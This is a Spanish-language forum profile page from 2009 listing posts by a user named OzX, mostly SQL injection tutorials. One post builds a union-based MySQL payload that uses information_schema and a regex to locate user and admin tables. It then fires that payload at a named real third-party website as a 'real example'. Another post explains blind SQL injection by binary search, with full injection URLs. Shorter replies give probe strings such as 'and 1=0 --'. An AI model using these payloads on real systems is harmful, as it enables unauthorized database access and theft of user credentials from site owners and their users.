Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - OzX

#41
Nivel Web / Re: SQL INJECTION en ASP y SQLSERVER
16 Septiembre 2009, 01:17 AM
prova..
site.asp?var=convert(int,@@version)--

#42
Nivel Web / Re: Tool: Sql injection Helper By fede_cp
16 Septiembre 2009, 01:16 AM
como helper esta bastante cool bro.
batante util. es un hack-bar pero al grano ¡
Saludos¡
#43
Cita de: berz3k en  3 Septiembre 2009, 16:47 PM
Me gusto el aporte OzX, lo he agregado a mis notes.

-berz3k.


Gracias Compañero, Cualquier comentario es muy bien recibido ¡
#44
PHP / Re: Pasar siempre informacion por GET
6 Agosto 2009, 20:28 PM

prova con

print_r($_REQUEST);


Asi parametros que pases POST, o GET, php lo capturara.


Saludos¡
#45
claro.. en teoria..
porque talves la pagina no tenga permisos para leer el schema o sea version 4.x
esta tecnica se ve mejor aplicada con este post
http://foro.elhacker.net/nivel_web/busqueda_binaria_aplicada_a_las_blind_sql_injection-t260676.0.html

saludos¡
#46
Optimización de SQL Union Injection en MYSQL

Sin lugar a dudas, este es el tipo de inyección que mas fácil se puede obtener información, en un par de consultas se  lograría obtener el nombre de usuario y contraseña del administrador del sistema o de algún usuario con privilegios.
Pero también consta de una etapa que es engorrosa, la obtención de tablas y sus correspondientes campos. Claramente en una base de datos Mysql Versión 5.x.
Gracias a la base de datos information_schema, podemos obtener las tablas y los campos de la base de datos.

La sintaxis Común de la obtención de las tablas es la siguiente

Código ("sql") [Seleccionar]

Select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1


Con dicha consulta obtendríamos la primera tabla de la base de datos, luego aumentando el valor de limit podríamos obtener las demás tablas.

Luego de encontrar la tabla que nosotros creemos que contendría la información de los usuarios, procedemos a obtener los campos de dicha tabla.

Por ej. , Para obtener los campos de la tabla "usuarios".

Debemos transformar el nombre usuarios a su valor hexsql.


Usuario: 0×7573756172696F73



Código ("sql") [Seleccionar]

Select+column_name+from+information_schema.columns+where+table_name=0x7573756172696F73+limit+0,1





Y así tendríamos los datos necesarios para poder generar la consulta final, hacia la base de datos.
Pero luego de hacerlo varias veces en distintas paginas, esta metodología resulta bastante agobiante,al  tener que consultar cada tabla, cada campo por  separado, es por ello que desarrolle una query que muestra la información que a nosotros nos interesa en 1 sola petición.

Ejemplo Consulta Final:


Localhost/vulnz.php?id=1+and+1=0+union+select+all+1,2,group_concat(column_name,0x3A,table_name,0x3C62723E),4,5,6+from+information_schema.columns+where+table_name=(select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1)+limit+0,1--





Obtendríamos los valores de la siguiente manera.

Campo, Tabla.

Analicemos a Fondo la Consulta.

Consulta que Obtiene las Columnas en Base a una Tabla.


=1+and+1=0+union+select+all+1,2,group_concat(column_name,0x3A,table_name,0x3C62723E),4,5,6+from+information_schema.columns+where+table_name=(CONSULTA_RESTRICCION)+limit+0,1--



       
Consulta Restricción: Con Esta Consulta obtendremos la o las tablas que cumplan con la restricción impuesta por la expresión regular.


select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1


     

Expresión  Regular.


REGEXP+0×2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A




.*((us[ue]|log[io]n|adm)).*



Con esta Expresión podríamos obtener algunos de los nombres mas comunes de las tablas que contienen información relacionada con los usuarios como podría ser :

    * Usuario
    * Username
    * User
    * Administrador
    * Administrator
    * Login
    * Logon
    * etc

Ejemplo Real:

Fuente Vulnz


http://www.buenosaires2050.org/noticias.php?id=39+and+1=2+union+select+1,2,3,4,group_concat(column_name,0x3A,table_name,0x3C62723E),6+from+information_schema.columns+where+table_name=(select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1)+limit+0,1--




Saludos a Todo el Staff de Undersecurity.net

OzX [Undersecurity.net]

Fuente
#47
Nivel Web / Re: (DUDA) Haciendo SQL Injection.
25 Julio 2009, 02:13 AM
Desde la version 5.x , mysql tiene la db information_schema.
Tienes que hacer fuerza bruta para indentificar las tablas.
Saludos¡
#48
Búsqueda Binaria Aplicada a las Blind SQL Injection
Antes de empezar me gustaría aclarar algunas cosas:


  • No Pretenderé Ocupar conceptos enredados, ni tampoco caer en tecnicismo, lo explicare como yo lo entiendo, y como me fuese gustado que me lo explicaran.
  • Esta Publicación esta enfocada a las personas que tengan nociones básicas de Blind SQL Injection, quienes no saben de qué estoy hablando, es mejor  que busquen algún tutorial de este tipo de vulnerabilidad en Nuestra Comunidad. o lean los siguientes conceptos.


    Conceptos :


  •   sección SQL Injection en Undersecurity
  •   ¿Que es el Formato ASCII?

    Comandos en MYSQL :

  • MID
  • ASCII

    Control De Flujos:

  •   CASE
  •   IF

    Información Blind SQL Injection

  •   Blind SQL Injection by Netting

    Información Búsqueda Binaria

  •   Busqueda Binaria
  •   Arbol Binario


    Ahora bien empecemos...
    Las Blind SQL Injection, es un tipo de vulnerabilidad que es bastante común y de una explotación bastante sencilla, pero tiene 1 solo problema. Es necesario  generar una cantidad de peticiones bastante considerables hasta encontrar un valor verdadero. Por lo que se convierte en una explotación bastante lenta y tediosa.

    Por Ejemplo, Planteemos el Siguiente Escenario.

    Tabla User



    Datos Contenidos en la tabla User:


  •   Usuario: Administrador
  •   Password: Undersecurity




    Ahora bien, Para Empezar Nosotros Obtendremos el Primer Valor del Usuario, mediante la metodología  Común para explotar las Blind SQL Injection.  (En un Ambiente Controlado dentro de la consola, no es una situación real de explotación).
    Para encontrar un valor verdadero tendremos que testear desde el Carácter 32 de la Tabla Ascii Hasta el Valor 122.
    Como Podemos Observar en la Siguiente Imagen, el Primer valor del Usuario es "A", transformado al formato Ascii obtendría el valor de  65.



    En la Practica Tendríamos que Generar  33 Peticiones (65 – 32) para Recién Obtener el Primer valor del usuario.
    Y si nos ponemos  bien extremistas, si el usuario se llamara zamorano, tendríamos que generar  90 peticiones para recién Obtener el Valor. Por lo que se hace  bastante lento y tedioso este tipo de explotación.

    Ahora viene  la implementación de Búsqueda Binaria.

    La Búsqueda Binaria se basa en la teoría de divide y vencerás. La Idea es ir dividiendo  el  rango en mitades.
    Por Ejemplo : La clave que queremos encontrar es 9.

    Tenemos el Siguiente String



  • arreglo =(1,2,3,4,5,6,7,8,9,10,11);


    Dividimos en 2 el String Obteniendo.


  • Restricción = ( 1, 2, 3, 4, 5,6 ) false
  • Restricción =    (6, 7, 8, 9, 10,11) true


    Si se fijan la cantidad de números dentro del arreglo, es impar, por lo  que se necesita repetir un numero dentro de los 2 String resultantes (6), para obtener 2 String Con la misma cantidad de caracteres.
    Y Ahora ¿Cuál seria Nuestro String a Seguir?, El que Tenga Nuestro Valor a Buscar, en este caso el segundo String o la segunda restricción.


  •   Restricción = (6, 7,8) false
  •   Restricción = (9, 10,11) true


  •   Restricción =  (9,10) true
  •   Restricción =  (10,11) false


  •   Restricción =  (9) true
  • Restricción =  (10) false


    Finalmente obtenemos nuestro valor, dentro de la primera restricción. Con una cantidad de   4 peticiones.
    Esta Misma Metodología Ahora la Aplicaremos a una Blind SQL Injection.
    Ahora Aplicaremos los Valores de la tabla Ascii desde el valor 32 hasta el 122.


  •   Arreglo : 32-122 [Space-z]
  •   Restriccion_1: 32-72 [Space-M]
  •   Restricción_2: 72-122 [M-z]


    Utilizáramos el Siguiente  Consulta SQL.

    Query Global:


    +and+ (SELECT+IF ((ARREGLO), (RESTRICCION_1), false)) —


    Explicación:

    Si El valor a encontrar esta entre los valores del arreglo, entonces consultar si están dentro de la primera restricción. por el contrario si el valor a buscar no esta dentro de la primera restricción, entonces esto significa, que esta dentro de la segunda restricción.

    Query : Restricción_1


         select+case+(ascii(mid((CONSULTA),SUBSTRING,1))+RESTRICCION_1)+when+true+then+(true)+else+false+end


    Explicacion :

    En el caso que el primer valor de la consulta este dentro del rango de la restriccion 1, entonces retornara verdadero. por el contrario retornara falso.

    Ahora bien, un Simple Ejemplo :

        Consulta :


    select+user()


    Valor de user () : Administrador@localhost.com

    Valor a Obtener : A

    Valor ASCII :65

        * Parametros:

    Arreglo: 32-122 [Space-z]
    Restriccion_1: 32-72 [Space-M]
    Restriccion_2: 72-122 [M-z]

    Consulta Completa :


    http://www.host.com/vulnz.php?id=1+and+(SELECT+IF((select+case+(ascii(mid((select+user()),1,1))+BETWEEN+32+AND+122)+when+true+then+(true)+else+false+end),(select+case+(ascii(mid((select+user()),1,1))+BETWEEN+32+AND+77)+when+true+then+(true)+else+false+end),false))--


    Explicacion :

    Buscaremos el Primer valor de la consulta "select user()", el cual es A, (Ascii: 65), primero consultaremos si el  valor esta entre 32-122 [Space-z], si este resulta verdadero entonces retonara TRUE , o por el contrario si no esta dentro del rango 32-122 retornara FALSE.

    Si el valor  retornado por la primera consulta es TRUE , entonces consultara si el primer valor esta entre 32-77 [Space-M], si esto es verdadero retornara TRUE, por el contrario retonara FALSE y el valor estaria entre 72-122[M-z].

    En Esta  Consulta Reducimos Nuestras alternativas de 90 a 45.

    ¿Podrías Adivinar que Estado Retornara la Consulta , Si el valor a Buscar es 64?

        * Si Pensaste en TRUE, estas en lo Correcto.

    Luego En la Segunda vuelta , el  rango que se encuentre dentro del valor a buscar (en este caso 32-77), se convertirá en nuestro arreglo, y se dividirá en 2 ([32-54]-[55-77]), así sucesivamente, hasta encontrar el valor final, en solo 7 consultas.

    Grafica :

    Full-Size
    (Solo Muestra el Rango desde 32-77)


    Para Demostrar Esta Metodología Desarrolle un Pequeño Programa que solamente muestra 1 carácter,  en 7 peticiones.

    Aclaro :  Es un PoC en Php.

    Posteriormente dentro del Lab de Undersecurity.net Se desarrollara la Tool Completa.

    Imagen :



    Código del POC Llamado BlindD00l:

    Descargar Blind00l


  • Testeado En Mysql 5.x
  • Curl Activado

    Gracias a toda la Comunidad Undersecurity.net

  • Cic4tr1z : logística Infinita
  • Nork : Correcciones y Apoyo en ideas extravagantes.
  • 1995: Apoyo Incondicional.
  • N0b0dy :Notable y leal animo a la comunidad.
  • Lix : Por ser Simplemente Lix.
  •   y A muchos mas que quedaron en el camino.

    #OzX [Undersecurity.net]

    Fuente
#49
Nivel Web / Re: Una duda de SQL injection
15 Junio 2009, 04:15 AM
Hi Bro
Prueba esto

prueba.php?=Pedro'+and+1=0+--+
prueba.php?=Pedro'+and+1=1+--+

Te muestra un Resultado Verdadero o Falso?
Osea cuando haces
prueba.php?=Pedro'+and+1=1+--+
Te muestra lo Mismo que si haces.
prueba.php?=Pedro
?
Es Probable que Sean Las Magic Quotes Del Php.
Saludos
Oz¡
#50
Nivel Web / Re: Nimble Scanner 1.0 Beta
20 Mayo 2009, 03:41 AM
Si no le das vuelta, solo tendras algunas paginas y no todas (solo las de la primera pagina). es por ello el loop.
Saludos¡